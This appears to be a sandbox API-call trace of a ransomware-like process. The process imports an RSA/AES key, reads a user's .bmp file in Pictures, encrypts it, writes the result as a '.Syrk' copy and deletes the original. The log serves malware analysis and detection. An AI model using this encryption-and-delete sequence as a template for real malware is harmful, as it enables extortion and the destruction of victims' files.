0x30 [0254.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0254.161] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.161] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0254.161] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0254.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0254.161] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.161] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0254.161] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0254.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0254.161] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.161] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0254.161] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.162] EtwEventActivityIdControl () returned 0x0 [0254.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0254.162] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.162] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0254.162] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.163] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0254.165] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x24231b4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c995a0) returned 1 [0254.165] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.166] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.166] EtwEventActivityIdControl () returned 0x0 [0254.166] EtwEventActivityIdControl () returned 0x0 [0254.166] EtwEventActivityIdControl () returned 0x0 [0254.172] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp")) returned 0x20 [0254.173] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp")) returned 0x20 [0254.173] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0254.174] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", lpFilePart=0x0) returned 0x2e [0254.174] EtwEventActivityIdControl () returned 0x0 [0254.174] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.175] EtwEventActivityIdControl () returned 0x0 [0254.175] EtwEventActivityIdControl () returned 0x0 [0254.175] EtwEventActivityIdControl () returned 0x0 [0254.176] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0254.176] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", lpFilePart=0x0) returned 0x2e [0254.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0254.176] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0254.177] GetFileType (hFile=0x364) returned 0x1 [0254.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0254.177] GetFileType (hFile=0x364) returned 0x1 [0254.177] EtwEventActivityIdControl () returned 0x0 [0254.177] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.178] EtwEventActivityIdControl () returned 0x0 [0254.178] EtwEventActivityIdControl () returned 0x0 [0254.178] EtwEventActivityIdControl () returned 0x0 [0254.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0254.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk", lpFilePart=0x0) returned 0x33 [0254.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0254.179] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0254.181] GetFileType (hFile=0x368) returned 0x1 [0254.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0254.181] GetFileType (hFile=0x368) returned 0x1 [0254.181] EtwEventActivityIdControl () returned 0x0 [0254.181] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x2433614 | out: pbBuffer=0x2433614) returned 1 [0254.182] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.182] CryptDuplicateKey (in: hKey=0x5c995a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c997a0) returned 1 [0254.182] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.182] CryptSetKeyParam (hKey=0x5c997a0, dwParam=0x4, pbData=0x243494c*=0x1, dwFlags=0x0) returned 1 [0254.183] CryptSetKeyParam (hKey=0x5c997a0, dwParam=0x1, pbData=0x2434918, dwFlags=0x0) returned 1 [0254.183] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.183] EtwEventActivityIdControl () returned 0x0 [0254.183] EtwEventActivityIdControl () returned 0x0 [0254.183] EtwEventActivityIdControl () returned 0x0 [0254.184] EtwEventActivityIdControl () returned 0x0 [0254.184] ReadFile (in: hFile=0x364, lpBuffer=0x2437588, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2437588*, lpNumberOfBytesRead=0x5a2e7d8*=0x4669, lpOverlapped=0x0) returned 1 [0254.186] CryptEncrypt (in: hKey=0x5c997a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x244b5a0*, pdwDataLen=0x5a2e7cc*=0x4660, dwBufLen=0x4660 | out: pbData=0x244b5a0*, pdwDataLen=0x5a2e7cc*=0x4660) returned 1 [0254.186] WriteFile (in: hFile=0x368, lpBuffer=0x24336fc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24336fc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0254.188] WriteFile (in: hFile=0x368, lpBuffer=0x244c58c*, nNumberOfBytesToWrite=0x3674, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x244c58c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x3674, lpOverlapped=0x0) returned 1 [0254.188] ReadFile (in: hFile=0x364, lpBuffer=0x2437588, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2437588*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0254.188] CryptEncrypt (in: hKey=0x5c997a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x244fc0c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x244fc0c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0254.189] CryptEncrypt (in: hKey=0x5c997a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x244fc28*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x244fc28*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0254.189] WriteFile (in: hFile=0x368, lpBuffer=0x24336fc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24336fc*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0254.189] CloseHandle (hObject=0x368) returned 1 [0254.190] CloseHandle (hObject=0x364) returned 1 [0254.190] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.191] EtwEventActivityIdControl () returned 0x0 [0254.191] EtwEventActivityIdControl () returned 0x0 [0254.191] EtwEventActivityIdControl () returned 0x0 [0254.244] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp")) returned 0x20 [0254.246] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0254.246] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", lpFilePart=0x0) returned 0x2e [0254.246] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0254.246] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0254.247] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0254.247] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0254.247] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0254.247] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0254.247] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0254.247] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0254.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0254.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0254.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0254.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0254.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0254.248] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0254.248] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0254.248] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0254.248] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp")) returned 0x20 [0254.248] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0254.248] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", lpFilePart=0x0) returned 0x2e [0254.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0254.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", lpFilePart=0x0) returned 0x2e [0254.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0254.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0254.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", lpFilePart=0x0) returned 0x2e [0254.251] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0254.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0254.251] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0254.251] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0254.252] CoTaskMemFree (pv=0x3b0008) [0254.254] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp")) returned 0x20 [0254.254] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0254.254] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp", lpFilePart=0x0) returned 0x2e [0254.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0254.255] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp"), fInfoLevelId=0x0, lpFileInformation=0x245b0cc | out: lpFileInformation=0x245b0cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a0433d0, ftCreationTime.dwHighDateTime=0x1d98df6, ftLastAccessTime.dwLowDateTime=0x1baf3bd0, ftLastAccessTime.dwHighDateTime=0x1d999f0, ftLastWriteTime.dwLowDateTime=0x1baf3bd0, ftLastWriteTime.dwHighDateTime=0x1d999f0, nFileSizeHigh=0x0, nFileSizeLow=0x4669)) returned 1 [0254.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0254.255] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp")) returned 1 [0254.259] EtwEventActivityIdControl () returned 0x0 [0254.259] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.259] EtwEventActivityIdControl () returned 0x0 [0254.259] EtwEventActivityIdControl () returned 0x0 [0254.259] EtwEventActivityIdControl () returned 0x0 [0254.266] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp.syrk")) returned 0x20 [0254.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp.syrk")) returned 0x20 [0254.267] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0254.267] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk", lpFilePart=0x0) returned 0x33 [0254.267] EtwEventActivityIdControl () returned 0x0 [0254.268] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.268] EtwEventActivityIdControl () returned 0x0 [0254.268] EtwEventActivityIdControl () returned 0x0 [0254.268] EtwEventActivityIdControl () returned 0x0 [0254.272] EtwEventActivityIdControl () returned 0x0 [0254.272] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.272] EtwEventActivityIdControl () returned 0x0 [0254.272] EtwEventActivityIdControl () returned 0x0 [0254.272] EtwEventActivityIdControl () returned 0x0 [0254.275] EtwEventActivityIdControl () returned 0x0 [0254.276] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.276] EtwEventActivityIdControl () returned 0x0 [0254.276] EtwEventActivityIdControl () returned 0x0 [0254.276] EtwEventActivityIdControl () returned 0x0 [0254.279] EtwEventActivityIdControl () returned 0x0 [0254.280] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.280] EtwEventActivityIdControl () returned 0x0 [0254.280] EtwEventActivityIdControl () returned 0x0 [0254.280] EtwEventActivityIdControl () returned 0x0 [0254.283] EtwEventActivityIdControl () returned 0x0 [0254.284] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.284] EtwEventActivityIdControl () returned 0x0 [0254.284] EtwEventActivityIdControl () returned 0x0 [0254.284] EtwEventActivityIdControl () returned 0x0 [0254.323] EtwEventActivityIdControl () returned 0x0 [0254.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0254.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\qNxgBCMJFfZZ 6.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\qnxgbcmjffzz 6.bmp.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2464ba0 | out: lpFileInformation=0x2464ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1317ddb0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x1317ddb0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1317ddb0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x4684)) returned 1 [0254.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0254.328] GetConsoleOutputCP () returned 0x1b5 [0254.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.328] GetConsoleOutputCP () returned 0x1b5 [0254.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.329] GetConsoleOutputCP () returned 0x1b5 [0254.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.329] GetConsoleOutputCP () returned 0x1b5 [0254.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.329] GetConsoleOutputCP () returned 0x1b5 [0254.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.329] GetConsoleOutputCP () returned 0x1b5 [0254.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.330] GetConsoleOutputCP () returned 0x1b5 [0254.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.330] GetConsoleOutputCP () returned 0x1b5 [0254.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.330] GetConsoleOutputCP () returned 0x1b5 [0254.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.330] GetConsoleOutputCP () returned 0x1b5 [0254.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.331] GetConsoleOutputCP () returned 0x1b5 [0254.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.331] GetConsoleOutputCP () returned 0x1b5 [0254.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.331] GetConsoleOutputCP () returned 0x1b5 [0254.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.331] GetConsoleOutputCP () returned 0x1b5 [0254.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.331] GetConsoleOutputCP () returned 0x1b5 [0254.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.332] GetConsoleOutputCP () returned 0x1b5 